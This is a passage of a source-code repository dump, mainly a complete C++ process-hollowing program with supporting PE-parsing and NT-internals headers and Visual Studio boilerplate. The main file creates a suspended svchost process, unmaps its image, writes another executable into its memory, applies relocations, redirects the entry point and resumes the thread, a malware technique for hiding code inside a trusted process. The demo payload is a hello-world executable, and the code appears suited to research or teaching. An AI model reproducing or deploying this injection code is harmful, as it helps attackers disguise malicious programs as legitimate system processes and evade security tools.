PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase); 170 | 171 | PLOADED_IMAGE pImage = new LOADED_IMAGE(); 172 | 173 | pImage->FileHeader = 174 | (PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew); 175 | 176 | pImage->NumberOfSections = 177 | pImage->FileHeader->FileHeader.NumberOfSections; 178 | 179 | pImage->Sections = 180 | (PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew + 181 | sizeof(IMAGE_NT_HEADERS32)); 182 | 183 | return pImage; 184 | } 185 | 186 | inline char* GetDLLName(DWORD dwImageBase, 187 | IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor) 188 | { 189 | return (char*)(dwImageBase + ImageImportDescriptor.Name); 190 | } 191 | 192 | inline IMAGE_DATA_DIRECTORY GetImportDirectory(PIMAGE_NT_HEADERS32 pFileHeader) 193 | { 194 | return pFileHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 195 | } 196 | 197 | inline PIMAGE_IMPORT_DESCRIPTOR GetImportDescriptors(PIMAGE_NT_HEADERS32 pFileHeader, 198 | IMAGE_DATA_DIRECTORY ImportDirectory) 199 | { 200 | return (PIMAGE_IMPORT_DESCRIPTOR)(pFileHeader->OptionalHeader.ImageBase + 201 | ImportDirectory.VirtualAddress); 202 | } 203 | 204 | inline PIMAGE_THUNK_DATA32 GetILT(DWORD dwImageBase, 205 | IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor) 206 | { 207 | return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.OriginalFirstThunk); 208 | } 209 | 210 | inline PIMAGE_THUNK_DATA32 GetIAT(DWORD dwImageBase, 211 | IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor) 212 | { 213 | return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.FirstThunk); 214 | } 215 | 216 | inline PIMAGE_IMPORT_BY_NAME GetImportByName(DWORD dwImageBase, 217 | IMAGE_THUNK_DATA32 itdImportLookup) 218 | { 219 | return (PIMAGE_IMPORT_BY_NAME)(dwImageBase + itdImportLookup.u1.AddressOfData); 220 | } 221 | 222 | 223 | extern std::map> gCodeChecksums; 224 | 225 | void WalkLoadOrderModules(void (*pLdrModuleFunction)(PLDR_MODULE, DWORD, PVOID), PVOID pParameters); 226 | 227 | void GenerateCodeChecksums(PLDR_MODULE pLdrModule, std::vector* pChecksums); 228 | 229 | void SetInitialLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams); 230 | 231 | void ValidateLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams); 232 | 233 | typedef struct _IAT_BACKUP_INFO { 234 | DWORD BackupLength; 235 | DWORD*** IATBackup; 236 | } IAT_BACKUP_INFO, *PIAT_BACKUP_INFO; 237 | 238 | DWORD** BackupIAT(DWORD dwImageBase); 239 | 240 | void RepairIAT(DWORD dwImageBase, DWORD** pIATBackup); 241 | 242 | DWORD FindRemotePEB(HANDLE hProcess); 243 | 244 | PEB* ReadRemotePEB(HANDLE hProcess); 245 | 246 | PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress); -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/ProcessHollowing.cpp: -------------------------------------------------------------------------------- 1 | // ProcessHollowing.cpp : Defines the entry point for the console application. 2 | 3 | #include "stdafx.h" 4 | #include 5 | #include "internals.h" 6 | #include "pe.h" 7 | 8 | void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile) 9 | { 10 | 11 | printf("Creating process\r\n"); 12 | 13 | LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); 14 | LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); 15 | 16 | CreateProcessA 17 | ( 18 | 0, 19 | pDestCmdLine, 20 | 0, 21 | 0, 22 | 0, 23 | CREATE_SUSPENDED, 24 | 0, 25 | 0, 26 | pStartupInfo, 27 | pProcessInfo 28 | ); 29 | 30 | if (!pProcessInfo->hProcess) 31 | { 32 | printf("Error creating process\r\n"); 33 | 34 | return; 35 | } 36 | 37 | PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); 38 | 39 | PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); 40 | 41 | printf("Opening source image\r\n"); 42 | 43 | HANDLE hFile = CreateFileA 44 | ( 45 | pSourceFile, 46 | GENERIC_READ, 47 | 0, 48 | 0, 49 | OPEN_ALWAYS, 50 | 0, 51 | 0 52 | ); 53 | 54 | if (hFile == INVALID_HANDLE_VALUE) 55 | { 56 | printf("Error opening %s\r\n", pSourceFile); 57 | return; 58 | } 59 | 60 | DWORD dwSize = GetFileSize(hFile, 0); 61 | PBYTE pBuffer = new BYTE[dwSize]; 62 | DWORD dwBytesRead = 0; 63 | ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0); 64 | CloseHandle(hFile); 65 | PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer); 66 | 67 | PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer); 68 | 69 | printf("Unmapping destination section\r\n"); 70 | 71 | HMODULE hNTDLL = GetModuleHandleA("ntdll"); 72 | 73 | FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); 74 | 75 | _NtUnmapViewOfSection NtUnmapViewOfSection = 76 | (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; 77 | 78 | DWORD dwResult = NtUnmapViewOfSection 79 | ( 80 | pProcessInfo->hProcess, 81 | pPEB->ImageBaseAddress 82 | ); 83 | 84 | if (dwResult) 85 | { 86 | printf("Error unmapping section\r\n"); 87 | return; 88 | } 89 | 90 | printf("Allocating memory\r\n"); 91 | 92 | PVOID pRemoteImage = VirtualAllocEx 93 | ( 94 | pProcessInfo->hProcess, 95 | pPEB->ImageBaseAddress, 96 | pSourceHeaders->OptionalHeader.SizeOfImage, 97 | MEM_COMMIT | MEM_RESERVE, 98 | PAGE_EXECUTE_READWRITE 99 | ); 100 | 101 | if (!pRemoteImage) 102 | { 103 | printf("VirtualAllocEx call failed\r\n"); 104 | return; 105 | } 106 | 107 | DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - 108 | pSourceHeaders->OptionalHeader.ImageBase; 109 | 110 | printf 111 | ( 112 | "Source image base: 0x%p\r\n" 113 | "Destination image base: 0x%p\r\n", 114 | pSourceHeaders->OptionalHeader.ImageBase, 115 | pPEB->ImageBaseAddress 116 | ); 117 | 118 | printf("Relocation delta: 0x%p\r\n", dwDelta); 119 | 120 | pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; 121 | 122 | printf("Writing headers\r\n"); 123 | 124 | if (!WriteProcessMemory 125 | ( 126 | pProcessInfo->hProcess, 127 | pPEB->ImageBaseAddress, 128 | pBuffer, 129 | pSourceHeaders->OptionalHeader.SizeOfHeaders, 130 | 0 131 | )) 132 | { 133 | printf("Error writing process memory\r\n"); 134 | 135 | return; 136 | } 137 | 138 | for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) 139 | { 140 | if (!pSourceImage->Sections[x].PointerToRawData) 141 | continue; 142 | 143 | PVOID pSectionDestination = 144 | (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); 145 | 146 | printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination); 147 | 148 | if (!WriteProcessMemory 149 | ( 150 | pProcessInfo->hProcess, 151 | pSectionDestination, 152 | &pBuffer[pSourceImage->Sections[x].PointerToRawData], 153 | pSourceImage->Sections[x].SizeOfRawData, 154 | 0 155 | )) 156 | { 157 | printf ("Error writing process memory\r\n"); 158 | return; 159 | } 160 | } 161 | 162 | if (dwDelta) 163 | for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) 164 | { 165 | char* pSectionName = ".reloc"; 166 | 167 | if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName))) 168 | continue; 169 | 170 | printf("Rebasing image\r\n"); 171 | 172 | DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; 173 | DWORD dwOffset = 0; 174 | 175 | IMAGE_DATA_DIRECTORY relocData = 176 | pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 177 | 178 | while (dwOffset < relocData.Size) 179 | { 180 | PBASE_RELOCATION_BLOCK pBlockheader = 181 | (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; 182 | 183 | dwOffset += sizeof(BASE_RELOCATION_BLOCK); 184 | 185 | DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); 186 | 187 | PBASE_RELOCATION_ENTRY pBlocks = 188 | (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; 189 | 190 | for (DWORD y = 0; y < dwEntryCount; y++) 191 | { 192 | dwOffset += sizeof(BASE_RELOCATION_ENTRY); 193 | 194 | if (pBlocks[y].Type == 0) 195 | continue; 196 | 197 | DWORD dwFieldAddress = 198 | pBlockheader->PageAddress + pBlocks[y].Offset; 199 | 200 | DWORD dwBuffer = 0; 201 | ReadProcessMemory 202 | ( 203 | pProcessInfo->hProcess, 204 | (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), 205 | &dwBuffer, 206 | sizeof(DWORD), 207 | 0 208 | ); 209 | 210 | //printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer - dwDelta); 211 | 212 | dwBuffer += dwDelta; 213 | 214 | BOOL bSuccess = WriteProcessMemory 215 | ( 216 | pProcessInfo->hProcess, 217 | (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), 218 | &dwBuffer, 219 | sizeof(DWORD), 220 | 0 221 | ); 222 | 223 | if (!bSuccess) 224 | { 225 | printf("Error writing memory\r\n"); 226 | continue; 227 | } 228 | } 229 | } 230 | 231 | break; 232 | } 233 | 234 | 235 | DWORD dwBreakpoint = 0xCC; 236 | 237 | DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + 238 | pSourceHeaders->OptionalHeader.AddressOfEntryPoint; 239 | 240 | #ifdef WRITE_BP 241 | printf("Writing breakpoint\r\n"); 242 | 243 | if (!WriteProcessMemory 244 | ( 245 | pProcessInfo->hProcess, 246 | (PVOID)dwEntrypoint, 247 | &dwBreakpoint, 248 | 4, 249 | 0 250 | )) 251 | { 252 | printf("Error writing breakpoint\r\n"); 253 | return; 254 | } 255 | #endif 256 | 257 | LPCONTEXT pContext = new CONTEXT(); 258 | pContext->ContextFlags = CONTEXT_INTEGER; 259 | 260 | printf("Getting thread context\r\n"); 261 | 262 | if (!GetThreadContext(pProcessInfo->hThread, pContext)) 263 | { 264 | printf("Error getting context\r\n"); 265 | return; 266 | } 267 | 268 | pContext->Eax = dwEntrypoint; 269 | 270 | printf("Setting thread context\r\n"); 271 | 272 | if (!SetThreadContext(pProcessInfo->hThread, pContext)) 273 | { 274 | printf("Error setting context\r\n"); 275 | return; 276 | } 277 | 278 | printf("Resuming thread\r\n"); 279 | 280 | if (!ResumeThread(pProcessInfo->hThread)) 281 | { 282 | printf("Error resuming thread\r\n"); 283 | return; 284 | } 285 | 286 | printf("Process hollowing complete\r\n"); 287 | } 288 | 289 | int _tmain(int argc, _TCHAR* argv[]) 290 | { 291 | char* pPath = new char[MAX_PATH]; 292 | GetModuleFileNameA(0, pPath, MAX_PATH); 293 | pPath[strrchr(pPath, '\\') - pPath + 1] = 0; 294 | strcat(pPath, "helloworld.exe"); 295 | 296 | CreateHollowedProcess 297 | ( 298 | "svchost", 299 | pPath 300 | ); 301 | 302 | system("pause"); 303 | 304 | return 0; 305 | } 306 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/ProcessHollowing.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 16 | 17 | 18 | 19 | 26 | 29 | 32 | 35 | 38 | 41 | 52 | 55 | 58 | 61 | 68 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 90 | 98 | 101 | 104 | 107 | 110 | 113 | 124 | 127 | 130 | 133 | 142 | 145 | 148 | 151 | 154 | 157 | 160 | 163 | 164 | 165 | 166 | 167 | 168 | 173 | 176 | 177 | 180 | 181 | 184 | 187 | 191 | 192 | 195 | 199 | 200 | 201 | 202 | 207 | 210 | 211 | 214 | 215 | 218 | 219 | 222 | 223 | 224 | 229 | 230 | 233 | 234 | 235 | 236 | 237 | 238 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : ProcessHollowing Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this ProcessHollowing application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your ProcessHollowing application. 9 | 10 | 11 | ProcessHollowing.vcproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | ProcessHollowing.cpp 18 | This is the main application source file. 19 | 20 | ///////////////////////////////////////////////////////////////////////////// 21 | Other standard files: 22 | 23 | StdAfx.h, StdAfx.cpp 24 | These files are used to build a precompiled header (PCH) file 25 | named ProcessHollowing.pch and a precompiled types file named StdAfx.obj. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other notes: 29 | 30 | AppWizard uses "TODO:" comments to indicate parts of the source code you 31 | should add to or customize. 32 | 33 | ///////////////////////////////////////////////////////////////////////////// 34 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/internals.h: -------------------------------------------------------------------------------- 1 | struct PROCESS_BASIC_INFORMATION { 2 | PVOID Reserved1; 3 | DWORD PebBaseAddress; 4 | PVOID Reserved2[2]; 5 | DWORD UniqueProcessId; 6 | PVOID Reserved3; 7 | }; 8 | 9 | typedef NTSTATUS (WINAPI* _NtUnmapViewOfSection)( 10 | HANDLE ProcessHandle, 11 | PVOID BaseAddress 12 | ); 13 | 14 | typedef NTSTATUS (WINAPI* _NtQueryInformationProcess)( 15 | HANDLE ProcessHandle, 16 | DWORD ProcessInformationClass, 17 | PVOID ProcessInformation, 18 | DWORD ProcessInformationLength, 19 | PDWORD ReturnLength 20 | ); 21 | 22 | typedef NTSTATUS (WINAPI* _NtQuerySystemInformation)( 23 | DWORD SystemInformationClass, 24 | PVOID SystemInformation, 25 | ULONG SystemInformationLength, 26 | PULONG ReturnLength 27 | ); -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ProcessHollowing.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /sourcecode/ProcessHollowing/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // The following macros define the minimum required platform. The minimum required platform 4 | // is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run 5 | // your application. The macros work by enabling all features available on platform versions up to and 6 | // including the version specified. 7 | 8 | // Modify the following defines if you have to target a platform prior to the ones specified below. 9 | // Refer to MSDN for the latest info on corresponding values for different platforms. 10 | #ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista. 11 | #define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows. 12 | #endif 13 | 14 | --------------------------------------------------------------------------------